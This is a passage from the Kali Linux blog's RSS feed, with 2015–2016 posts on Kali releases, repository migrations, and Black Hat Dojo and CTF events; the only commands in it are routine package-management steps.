&lt;p>Additionally, we have had the pleasure of watching Kali make an appearance on &lt;a href="https://www.usanetwork.com/mr-robot">Mr Robot&lt;/a> multiple times! We have always been impressed with how grounded the technology is on that show, and seeing Kali leveraged in realistic manners is always fun. Finally, we wanted to make one last shout out about the upcoming Kali Dojo at &lt;a href="https://ekoparty.org/kali-workshops.php">ekoparty&lt;/a>. If you are attending, be sure to drop in and say hello!&lt;/p></description></item><item><title>Kali Linux 2016.2 Release</title><link>https://www.kali.org/blog/kali-linux-2016-2-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2016-2-release/</guid><pubDate>Wed, 31 Aug 2016 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2016-2-release/images/kali-rolling-2016-2-release3.jpg" type="image/jpg"/><description>&lt;p>We&amp;rsquo;re well recovered from the Black Hat and DEF CON Vegas conferences and as promised, we&amp;rsquo;re launching our second Kali Rolling ISO release aka &lt;strong>Kali 2016.2&lt;/strong>. This release brings a whole bunch of interesting news and updates into the world of Kali and we&amp;rsquo;re &lt;strong>excited&lt;/strong> to tell you all about it.&lt;/p>
&lt;h2 id="new-kde-mate-lxde-e17-and-xfce-builds">New KDE, MATE, LXDE, e17, and Xfce Builds&lt;/h2>
&lt;p>Although users are able to build and customize their Kali Linux ISOs however they wish, we often hear people comment about how they would love to see Kali with $desktop_environment instead of GNOME. We then engage with those people passionately, about how they can use live-build to customize not only their desktop environment but pretty much &lt;strong>every aspect of their ISO&lt;/strong>, together with the ability to run scripted hooks at every stage of the ISO creation process - but more often than not, our argument is quickly lost in random conversation. As such, we&amp;rsquo;ve decided to expand our &amp;ldquo;full&amp;rdquo; 64bit releases with additional Desktop Environment flavored ISOs, specifically &lt;strong>KDE, Mate, LXDE and Enlightenment&lt;/strong>. These can now be downloaded via our &lt;a href="https://www.kali.org/get-kali/">Kali Download page&lt;/a>. For those curious to see what the various Desktop Environments look like, we&amp;rsquo;ve taken some screenshots for you:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2016-2-release/images/gnome.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2016-2-release/images/gnome.png" alt="" />
&lt;/a>
&lt;/p>
&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2016-2-release/images/lxde.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2016-2-release/images/lxde.png" alt="" />
&lt;/a>
&lt;/p>
&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2016-2-release/images/mate.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2016-2-release/images/mate.png" alt="" />
&lt;/a>
&lt;/p>
&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2016-2-release/images/xfce.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2016-2-release/images/xfce.png" alt="" />
&lt;/a>
&lt;/p>
&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2016-2-release/images/e17.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2016-2-release/images/e17.png" alt="" />
&lt;/a>
&lt;/p>
&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2016-2-release/images/kde.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2016-2-release/images/kde.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="kali-linux-weekly-isos">Kali Linux Weekly ISOs&lt;/h2>
&lt;p>Constantly keeping Kali on the bleeding edge means frequent updates to packages on an ongoing basis. Since our last release several months ago, there&amp;rsquo;s a few hundred new or updated packages which have been pushed to the Kali repos. This means that anyone downloading an ISO even 3 months old has somewhat of a long &amp;ldquo;apt-get dist-upgrade&amp;rdquo; ahead of them. To help avoid this situation, from this release onwards, we&amp;rsquo;ll be publishing updated weekly builds of Kali that will be available to download via our mirrors. Speaking of mirrors, we are always in need of support in this area - &lt;strong>if you&amp;rsquo;re capable of running a high-bandwidth mirror and would like to support our project, please check out our &lt;a href="https://www.kali.org/docs/community/kali-linux-mirrors/">Kali Mirrors&lt;/a> page&lt;/strong>.&lt;/p>
&lt;h2 id="bug-fixes-and-os-improvements">Bug Fixes and OS Improvements&lt;/h2>
&lt;p>During these past few months, we&amp;rsquo;ve been busy adding new relevant tools to Kali as well as fixing various bugs and implementing OS enhancements. For example, something as simple as adding HTTPS support in &lt;strong>busybox&lt;/strong> now allows us to preseed Kali installations securely over SSL. This is a quick and cool feature to speed up your installations and make them (almost) unattended, even if you don&amp;rsquo;t have a custom built ISO.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2016-2-release/images/preseed-https.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2016-2-release/images/preseed-https.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;pre>&lt;code class="language-console">preseed/url=http://www.kali.org/dojo/preseed.cfg
&lt;/code>&lt;/pre>
&lt;h2 id="kali-sana-repositories-retired">Kali &amp;ldquo;sana&amp;rdquo; Repositories Retired&lt;/h2>
&lt;p>We announced the &amp;ldquo;sana&amp;rdquo; release EOL a few months ago along with its public repositories. We&amp;rsquo;ve given a few months grace and are now finally purging the &amp;ldquo;sana&amp;rdquo; repositories from our servers. For anyone who still needs them, they can be found archived at old.kali.org.&lt;/p>
&lt;h2 id="exciting-news-coming-up">Exciting News Coming Up!&lt;/h2>
&lt;p>We are really excited about these changes to Kali as we continue to improve and expand the best Linux-based penetration testing framework around. Beyond these distribution changes, there have been a number of other project-related events such as the multitude of times that Kali has been &lt;a href="https://sendvid.com/s0etudtt">featured&lt;/a> on the hit USA network series &lt;a href="https://www.usanetwork.com/mr-robot">Mr Robot&lt;/a> and the Official &lt;a href="https://twitter.com/kalilinux">Kali Linux Twitter&lt;/a> account becoming a verified account.&lt;/p>
&lt;p>We have a lot of exciting announcements that will be coming in the next few weeks, so if you are not already following us on Twitter, be sure to do so! If you are attending the &lt;strong>ekoparty conference&lt;/strong> we will be there doing the &lt;a href="https://ekoparty.org/kali-workshops.php">Kali Dojo&lt;/a>, so be sure to drop by and say hello. And as always, if you find any issues in this new release of Kali, be sure to report it on our &lt;a href="https://bugs.kali.org/my_view_page.php">bug tracker&lt;/a>.&lt;/p></description></item><item><title>Hacking with Kali at Black Hat USA 2016</title><link>https://www.kali.org/blog/hacking-kali-black-hat/</link><guid isPermaLink="true">https://www.kali.org/blog/hacking-kali-black-hat/</guid><pubDate>Wed, 20 Jul 2016 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/hacking-kali-black-hat/images/kali-playground-blackhat-2016-v2.jpg" type="image/jpg"/><description>&lt;h2 id="kali-linux-dojo-blackhat-2016---las-vegas">Kali Linux Dojo, BlackHat 2016 - Las Vegas&lt;/h2>
&lt;p>We have really enjoyed doing the &lt;a href="https://www.blackhat.com/us-16/kali-linux.html">&lt;strong>Dojo at Black Hat&lt;/strong>&lt;/a> the last few years. It&amp;rsquo;s been a great opportunity to show off some of the lesser known (but oh so useful) &lt;a href="https://www.kali.org/features/">features of Kali Linux&lt;/a> as well as interact with the user base. But one of the limitations of the previous structure was that while this was a hands-on exercise, many attendees moved at different paces from each other. So we wanted to move towards more of a &amp;ldquo;self service&amp;rdquo; model where &lt;strong>attendees can drop in, have access to the training material, and will be free to work at their own pace&lt;/strong>. We accomplished with the new model we will be premiering this year, allowing everyone to take as much, or as little, time needed to get a working Kali install customized to their desires. While this is being done, &lt;strong>Kali developers will be onsite and interacting with everyone&lt;/strong> on a consistent basis.&lt;/p>
&lt;h2 id="hacking-the-playground-with-kali-linux">Hacking the playground with Kali Linux&lt;/h2>
&lt;p>This leads to the next major change in structure, as in previous years a commonly heard question was &amp;ldquo;Great! I have this beautiful Kali install, now what do I do with it?&amp;rdquo;. This year, we have a great answer for this: &lt;strong>Hack our systems&lt;/strong>!&lt;/p>
&lt;p>Our good friends at &lt;a href="https://www.offsec.com/">OffSec&lt;/a> have been gracious enough to provide us with a number of systems that have been preconfigured with interesting and unique vulnerabilities. This environment will will be setup in the room, and attendees can connect into it and put Kali Linux to use, hacking these systems to your hearts content. Whats more, we will be providing some extra incentive for you to &lt;strong>hack all the things&lt;/strong>, by giving away &lt;strong>prizes&lt;/strong> to those that obtain the highest score.&lt;/p>
&lt;h2 id="our-cool-giveaways-in-the-playground-ctf">Our cool giveaways in the Playground CTF&lt;/h2>
&lt;p>Here are a few pics of the Kali hardware we&amp;rsquo;ll be giving away to our contest winners in the Kali Dojo CTF:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/hacking-kali-black-hat/images/kali-xfce4-flipbook-open-trans.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/hacking-kali-black-hat/images/kali-xfce4-flipbook-open-trans.png" alt="" />
&lt;/a>
&lt;/p>
&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/hacking-kali-black-hat/images/kali-go-trans.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/hacking-kali-black-hat/images/kali-go-trans.png" alt="" />
&lt;/a>
&lt;/p>
&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/hacking-kali-black-hat/images/kali-wifi-usb-kit-trans.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/hacking-kali-black-hat/images/kali-wifi-usb-kit-trans.png" alt="" />
&lt;/a>
&lt;/p>
&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/hacking-kali-black-hat/images/kali-nfc-trans.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/hacking-kali-black-hat/images/kali-nfc-trans.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="what-to-bring-if-you-want-to-attend">What to bring if you want to attend:&lt;/h2>
&lt;p>Now that we have your attention, here&amp;rsquo;s what you need to bring!&lt;/p>
&lt;ul>
&lt;li>Powerful 64bit laptop with Kali Rolling (!) installed in a VM or natively.&lt;/li>
&lt;li>At least 40 GB free space in the VM or laptop for generating ISOs&lt;/li>
&lt;li>8GB USB 3.0 stick (or larger) for creating Kali Live USBs.&lt;/li>
&lt;/ul>
&lt;p>We will have Kali VMWare images for you to download on site - so if you choose this option, make sure you have the latest VMware Workstation of Fusion installed. Yes, make sure it&amp;rsquo;s the LATEST version!&lt;/p>
&lt;h2 id="come-say-hello">Come say hello!&lt;/h2>
&lt;p>Thats right. You can get a &lt;strong>pre-release version of Kali Linux&lt;/strong> before its available to the public, you can &lt;strong>customize it to yours hearts content&lt;/strong>. And then you can use it to &lt;strong>hack vulnerable machines&lt;/strong> to accumulate points. And we will give you free stuff for doing all this. We know there is a lot going on at Black Hat Vegas, as the convention gets better every year. We do hope that you budget some time to drop on the Kali Dojo on &lt;strong>Aug. 4th&lt;/strong>, as we will be going all day.&lt;/p></description></item><item><title>Kali Linux Dojo at Black Hat Vegas 2016</title><link>https://www.kali.org/blog/kali-dojo-black-hat-vegas-2016/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-dojo-black-hat-vegas-2016/</guid><pubDate>Mon, 11 Jul 2016 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-dojo-black-hat-vegas-2016/images/kali-dojo-2016-blackhat.jpg" type="image/jpg"/><description>&lt;p>The folks at &lt;strong>Black Hat&lt;/strong> have been kind enough to invite us once again to deliver a &lt;a href="https://www.blackhat.com/us-16/kali-linux.html">Kali Dojo in Las Vegas&lt;/a> this year. The event will be held on the &lt;strong>4th of August at the Mandalay Bay&lt;/strong> hotel, and will be open to all Black Hat pass types. This year our Dojo will be set up differently, allowing for a larger crowd and much more interaction. We are going to hold a full day event, featuring several main activity areas :&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-dojo-black-hat-vegas-2016/images/dojo-slider.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-dojo-black-hat-vegas-2016/images/dojo-slider.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="area-1-customising-kali-isos-using-live-build">Area 1: Customising Kali ISOs using live-build&lt;/h2>
&lt;p>One to the most important aspects of Kali Linux is it ability to be customized based on your unique and specific needs. &lt;strong>Define your toolsets,&lt;/strong> your desktop environment, customised scripts and wallpapers - and of course, &lt;strong>preseed your installation&lt;/strong> media as needed. This area of the Dojo will feature the ever popular custom ISO generation on Kali Rolling.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-dojo-black-hat-vegas-2016/images/kali-iso-special-features.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-dojo-black-hat-vegas-2016/images/kali-iso-special-features.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="area-2-kali-live-usb-with-persistence-and-luks">Area 2: Kali Live USB with Persistence and LUKS&lt;/h2>
&lt;p>USB speeds keep getting faster and faster, to the point now where they are viable storage for a secondary system. In this area we will help you understand how to deploy your customized Kali ISO to a &lt;strong>secure, encrypted, USB install&lt;/strong>. Complete with Kali specific features such as &lt;strong>multiple persistent stores and LUKS Nuke&lt;/strong>!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-dojo-black-hat-vegas-2016/images/kali-usb.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-dojo-black-hat-vegas-2016/images/kali-usb.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="area-3-hacking-with-kali-linux---test-the-tools">Area 3: Hacking with Kali Linux - Test the tools&lt;/h2>
&lt;p>Now that you have tweaked out and customized Kali install, what do you do with it? &lt;strong>Hack stuff&lt;/strong>! In this area we will provide you with a safe and secure area to put Kali to use, with &lt;strong>real world attack vectors&lt;/strong>. Get your hands dirty and hack our stuff! And did we mention &lt;strong>prizes&lt;/strong>? Oh yeah, there will be prizes! Including give aways of &lt;strong>Kali NetHunter devices, Kali Flip laptops, and OffSec Penetration Testing with Kali Linux courses&lt;/strong>!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-dojo-black-hat-vegas-2016/images/offsec-playground-thumb-21.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-dojo-black-hat-vegas-2016/images/offsec-playground-thumb-21.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="area-4-the-wonderful-world-of-kali-arm-devices">Area 4: The wonderful world of Kali ARM devices&lt;/h2>
&lt;p>One of the most exciting developments in modern Linux is non-traditional computing devices. Kali has always been at the forefront of ARM support, and has aggressively added support for a wide range of unique and &lt;strong>specialized ARM devices&lt;/strong>. In this area, you will get a chance to see and go hands-on with a number of these unique devices. Additionally, you will be provided the opportunity to interact directly with Kali Developers!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-dojo-black-hat-vegas-2016/images/RASPBERRY_PI_A_PLUS_01.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-dojo-black-hat-vegas-2016/images/RASPBERRY_PI_A_PLUS_01.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="come-to-the-dojo-and-say-hi">Come to the Dojo and say &amp;ldquo;Hi&amp;rdquo;&lt;/h2>
&lt;p>We are &lt;strong>extremely excited&lt;/strong> about this years Kali Dojo. This new format will facilitate more attendees (no more getting turned away at the door because we are full!) as well as more direct &lt;strong>one on one interaction with Kali Developers&lt;/strong> and the OffSec team. If you have even a passing interest in Kali Linux, drop on in and say hi, hit us up with questions, and put Kali to use for a chance to win some awesome prizes! For more information about the Kali Dojo, check the &lt;a href="https://www.blackhat.com/us-16/kali-linux.html">Dojo Black Hat&lt;/a> page.&lt;/p>
&lt;h2 id="kali-linux-20162-release">Kali Linux 2016.2 Release&lt;/h2>
&lt;p>As we do every year, we will have some fresh pre-release Kali Linux 2016.2 ISOs fresh from the oven exclusively for our students, Dojo attendees and anyone else who wants to peek at our upcoming version of Kali Linux. Our final 2016.2 release will happen once we&amp;rsquo;re back from the conferences and fully recovered.&lt;/p></description></item><item><title>Kali Linux 2016.1 Release - Rolling Edition</title><link>https://www.kali.org/blog/kali-linux-2016-1-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2016-1-release/</guid><pubDate>Thu, 21 Jan 2016 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2016-1-release/images/kali-rolling.jpg" type="image/jpg"/><description>&lt;h2 id="our-first-release-of-kali-rolling-20161">Our First Release of Kali-Rolling (2016.1)&lt;/h2>
&lt;p>Today marks an important milestone for us with the first public release of our &lt;strong>Kali Linux rolling distribution&lt;/strong>. Kali switched to a rolling release model back when we hit &lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2-0-release/">version 2.0&lt;/a>&lt;/strong> (codename), however the rolling release was only available via an upgrade from 2.0 to kali-rolling for a select brave group. After 5 months of testing our rolling distribution (and its supporting infrastructure), we&amp;rsquo;re confident in its reliability - giving our users the best of all worlds - the stability of Debian, together with the latest versions of the many outstanding &lt;a href="https://www.kali.org/tools/">penetration testing tools&lt;/a> created and shared by the information security community.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2016-1-release/images/kali-rolling-screenshot.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2016-1-release/images/kali-rolling-screenshot.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="whats-new-in-kali-rolling">What&amp;rsquo;s new in Kali Rolling?&lt;/h2>
&lt;h3 id="kali-rolling-release-vs-standard-releases">Kali Rolling Release vs Standard Releases&lt;/h3>
&lt;p>To get a better understanding of the changes that this brings to Kali, a clearer picture of &lt;a href="https://www.zdnet.com/article/rolling-release-vs-fixed-release-linux/">how rolling releases work&lt;/a> is needed. Rather than Kali basing itself off standard Debian releases (such as Debian 7, 8, 9) and going through the cyclic phases of &amp;ldquo;new, mainstream, outdated&amp;rdquo;, the Kali rolling release feeds continuously from &lt;a href="https://www.debian.org/devel/testing">Debian testing&lt;/a>, &lt;strong>ensuring a constant flow of the latest package versions&lt;/strong>.&lt;/p>
&lt;h3 id="continuously-updated-penetration-testing-tools">Continuously Updated Penetration Testing Tools&lt;/h3>
&lt;p>Our automated notification system of updated penetration testing tool releases has been working well over the past 5 months and has ensured that the kali-rolling repository always holds the latest stable releases of monitored tools. This usually leaves a gap of around 24-48 hours from notification of a new tool update, to its packaging, testing, and pushing into our repositories. We would also like to introduce our new &lt;strong>&lt;a href="https://pkg.kali.org/">Kali Linux Package Tracker&lt;/a>&lt;/strong> which allows you to &lt;strong>follow the evolution of Kali Linux both with email updates and a comprehensive web interface&lt;/strong>. The tracker can also help in identifying which versions of various tools and packages are in our repository at any given moment. As an example, the screenshot below shows the timeline of the &lt;strong>nmap&lt;/strong> package in Kali and tracks its repository versions.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2016-1-release/images/pkg-kali.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2016-1-release/images/pkg-kali.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="vmware-tools-vs-open-vm-tools">VMware Tools vs Open-VM-Tools&lt;/h3>
&lt;p>This release also marks a dramatic change around how VMware guest tools are installed. As of Sept 2015, VMware &lt;a href="https://kb.vmware.com/kb/2073803">recommends&lt;/a> using the distribution-specific &lt;strong>open-vm-tools&lt;/strong> instead of the VMware Tools package for guest machines. We have made sure that our package installs and works correctly with the latest Kali rolling kernel and are happy to see that all the needed functionality such as file copying, clipboard copy/paste and automatic screen resizing are working perfectly. To install open-vm-tools in your Kali Rolling image, enter:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-get update
apt-get install open-vm-tools-desktop fuse
reboot
&lt;/code>&lt;/pre>
&lt;h2 id="transitioning-from-kali-20-to-kali-rolling">Transitioning From Kali 2.0 to Kali Rolling&lt;/h2>
&lt;p>Migrating from Kali sana (2.0) to Kali rolling is simple. As root, you can run the following commands and be on your way:&lt;/p>
&lt;pre>&lt;code class="language-sh">cat &amp;lt; /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
EOF
apt-get update
apt-get dist-upgrade
# get a coffee, or 10.
reboot
&lt;/code>&lt;/pre>
&lt;p>&lt;strong>Please note that the Kali sana repositories will no longer be updated and will be EOL&amp;rsquo;d on the 15th of April 2016.&lt;/strong>&lt;/p>
&lt;h2 id="kali-penetration-testing-tools-site-refresh">Kali Penetration Testing Tools Site Refresh&lt;/h2>
&lt;p>Our on-going mission to give all our Kali sites a facelift and common look and feel has made its way to the &lt;a href="https://www.kali.org/tools/">Kali Tools&lt;/a> website. Beyond its clean good looks, the Kali tools site includes descriptions and sample usage for virtually every tool in the Kali Linux arsenal. You can quickly select tools by what they do, such as conducting &lt;a href="https://www.kali.org/tools/kali-meta/#kali-tools-information-gathering">information gathering&lt;/a>, cracking &lt;a href="https://www.kali.org/tools/kali-meta/#kali-tools-passwords">passwords&lt;/a>, doing &lt;a href="https://www.kali.org/tools/kali-meta/#kali-tools-information-gathering">DNS&lt;/a> enumeration, evaluating &lt;a href="https://www.kali.org/tools/kali-meta/#kali-tools-wireless">wireless&lt;/a> networks, and much, much more. In addition, we have started adding community driven videos to some of the tool entries, currently taken from &lt;a href="https://twitter.com/10101_Brew">@10101_Brew&lt;/a>. Keep them coming!&lt;/p>
&lt;h2 id="download-kali-linux-rolling-20161">Download Kali Linux Rolling 2016.1&lt;/h2>
&lt;h2 id="full-light-and-mini-kali-linux-iso-downloads">Full, Light and Mini Kali Linux ISO downloads&lt;/h2>
&lt;p>We try to keep our release notes to a minimum but there&amp;rsquo;s just so much to say! As with our Kali 2.0 release, we&amp;rsquo;re putting out two ISOs - a full ISO image with Gnome, and a &amp;ldquo;light&amp;rdquo; ISO, which just includes the &amp;ldquo;&lt;a href="https://www.kali.org/docs/general-use/metapackages/">top 10&lt;/a>&amp;rdquo; metapackage and XFCE. As usual, feel free to engage the community, report bugs, or join our forums for more discussions about the Kali OS.&lt;/p>
&lt;p>&lt;a href="https://www.kali.org/get-kali/">Download Kali&lt;/a>&lt;/p>
&lt;h3 id="kali-rolling-vmware-virtualbox-and-arm-images">Kali Rolling VMware, VirtualBox, and ARM Images&lt;/h3>
&lt;p>We will be releasing VMware and VirtualBox images of Kali rolling 2016.1 next week via the &lt;a href="https://www.kali.org/get-kali/#kali-vm">OffSec&lt;/a> website, as usual. We will also have a barrage of fresh new Kali Rolling ARM images for the various &lt;a href="https://www.kali.org/get-kali/#kali-arm">ARM devices&lt;/a> we support. The transition to Kali Rolling in the ARM arena will bring in new opportunities to ARM enthusiasts, as these devices will also enjoy the fresh stream of tool updates in Kali Rolling. Get those Raspberry Pi&amp;rsquo;s warmed up for next week!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2016-1-release/images/hp-offsec.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2016-1-release/images/hp-offsec.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="shameless-kali-linux-promotions">Shameless Kali Linux Promotions&lt;/h2>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2016-1-release/images/Screen-Shot-2015-05-06-at-12.50.55-PM-e1430938334257.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2016-1-release/images/Screen-Shot-2015-05-06-at-12.50.55-PM-e1430938334257.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="pwk-awae-and-awe-in-black-hat-usa-2016">PWK, AWAE and AWE in Black Hat USA 2016&lt;/h3>
&lt;p>We noticed that the &lt;strong>&lt;a href="https://www.blackhat.com/us-16/training/index.html">Black Hat USA 2016 training&lt;/a>&lt;/strong> schedule went online today, and figured this would be a good opportunity to give everyone a &amp;ldquo;heads up&amp;rdquo; about it. Our classes usually fill up quickly, and late comers are often disappointed. If you&amp;rsquo;re looking to sign up for one of our courses at BlackHat, our advice is &amp;ldquo;&lt;strong>don&amp;rsquo;t&amp;rsquo; wait&lt;/strong>&amp;rdquo;. In addition to our regular courses, we hope to be running another &lt;a href="https://www.kali.org/docs/development/dojo-mastering-live-build/">&lt;strong>Kali Dojo&lt;/strong>&lt;/a>, similar to the 2015 event. Register quickly if you want to join any of these events, you&amp;rsquo;ve been given fair warning!&lt;/p>
&lt;p>&lt;a href="https://www.blackhat.com/us-16/training/penetration-testing-with-kali-linux.html">PWK BHUSA 2016&lt;/a>
&lt;a href="https://www.blackhat.com/us-16/training/advanced-web-attacks-and-exploitation.html">AWAE BHUSA 2016&lt;/a>
&lt;a href="https://www.blackhat.com/us-16/training/advanced-windows-exploitation.html">AWE BHUSA 2016&amp;quot;&lt;/a>&lt;/p>
&lt;h3 id="oscp-try-harder-and-win-a-nethunter">OSCP? Try Harder and Win a NetHunter&lt;/h3>
&lt;p>A couple of weeks ago we released a blog post about &amp;ldquo;&lt;a href="https://www.offsec.com/offsec/what-it-means-to-be-oscp/">What it means to be an OSCP&lt;/a>&amp;rdquo; in our eyes. If you&amp;rsquo;re an OSCP and would like a chance to Win an &lt;strong>awesome&lt;/strong> OnePlus One NetHunter device, go ahead and &lt;a href="https://www.offsec.com/offsec/what-it-means-to-be-oscp/">read our previous blog post&lt;/a>! We&amp;rsquo;ve extended the offer till the end of January, when our winner will be announced.&lt;/p></description></item><item><title>Kali Moto End of Life &amp; Kali Dojo Slides</title><link>https://www.kali.org/blog/kali-moto-eol/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-moto-eol/</guid><pubDate>Thu, 15 Oct 2015 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-moto-eol/images/kali-1.x.x-end-of-life-v3.jpg" type="image/jpg"/><description>&lt;h2 id="kali-sana-release-aftermath">Kali Sana Release Aftermath&lt;/h2>
&lt;p>Kali Linux 2.0 has been out for a couple of months and the response has been great, with well &lt;strong>over a million unique downloads of Kali 2.0&lt;/strong> as a testament. Release day was somewhat hectic for us, as we did not anticipate the sheer volume of traffic … which we somehow always underestimate. In the first few days after the release of 2.0, we had &lt;strong>ten times&lt;/strong> the download volume of 1.0 in a similar period, back in 2013.&lt;/p>
&lt;h2 id="kali-moto-repository-purge">Kali Moto Repository Purge&lt;/h2>
&lt;p>We&amp;rsquo;ve given Kali Moto (1.0) a good two months of grace time and will be purging the unsupported 1.0 distribution files from our repositories in the next few days. If you&amp;rsquo;re still using Kali 1.0 then it&amp;rsquo;s definitely time to either upgrade or update:&lt;/p>
&lt;pre>&lt;code class="language-sh">cat &amp;lt;&amp;lt; EOF &amp;gt; /etc/apt/sources.list
deb http://http.kali.org/kali sana main contrib non-free
deb http://security.kali.org/kali-security/ sana/updates main contrib non-free
EOF
apt-get update
apt-get dist-upgrade # get a coffee, or 10.
reboot
&lt;/code>&lt;/pre>
&lt;p>If for some reason you can&amp;rsquo;t upgrade, we&amp;rsquo;ve set aside an archive mirror of Kali 1.0, which can be set as follows:&lt;/p>
&lt;pre>&lt;code class="language-sh">cat &amp;lt;&amp;lt; EOF &amp;gt; /etc/apt/sources.list
deb http://old.kali.org/kali moto main contrib non-free
EOF
&lt;/code>&lt;/pre>
&lt;p>Please note, this repository will not be maintained or updated.&lt;/p>
&lt;h2 id="kali-linux-dojo-2015-materials">Kali Linux Dojo 2015 Materials&lt;/h2>
&lt;p>It occurred to us that after the BlackHat and DEF CON conferences, we never made a public announcement regarding the availability of our &lt;a href="https://www.kali.org/docs/development/dojo-mastering-live-build/">Kali Linux Dojo 2015 slides&lt;/a> and notes. The Dojo was &lt;strong>great fun&lt;/strong> - we definitely enjoyed showing our brand spanking new Kali 2.0 to the the crowds, who built their own Kali 2.0 ISOs a day before release.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-moto-eol/images/dojo-slide-e1444909261539.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-moto-eol/images/dojo-slide-e1444909261539.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p></description></item><item><title>Kali Linux 2.0 Release - Sana</title><link>https://www.kali.org/blog/kali-linux-2-0-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2-0-release/</guid><pubDate>Tue, 11 Aug 2015 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2-0-release/images/kali-linux-2-0-release.jpg" type="image/jpg"/><description>&lt;h2 id="our-next-generation-penetration-testing-platform">Our Next Generation Penetration Testing Platform&lt;/h2>
